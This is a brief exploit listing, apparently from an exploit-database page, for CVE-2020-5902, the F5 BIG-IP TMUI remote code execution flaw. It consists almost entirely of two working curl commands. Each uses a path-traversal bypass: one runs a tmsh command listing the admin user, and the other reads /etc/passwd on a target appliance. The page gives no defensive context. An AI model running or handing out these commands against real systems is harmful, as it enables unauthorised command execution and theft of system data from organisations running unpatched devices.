Exploit for BIG-IP TMUI Remote Code Execution CVE-2020-5902

Name: Exploit for BIG-IP TMUI Remote Code Execution CVE-2020-5902
Rating: 5 (204 reviews)

2020-07-07 | CVSS 10.0

## https://sploitus.com/exploit?id=PACKETSTORM:158333
## RCE:   
  
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'  
  
## Read File:   
  
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'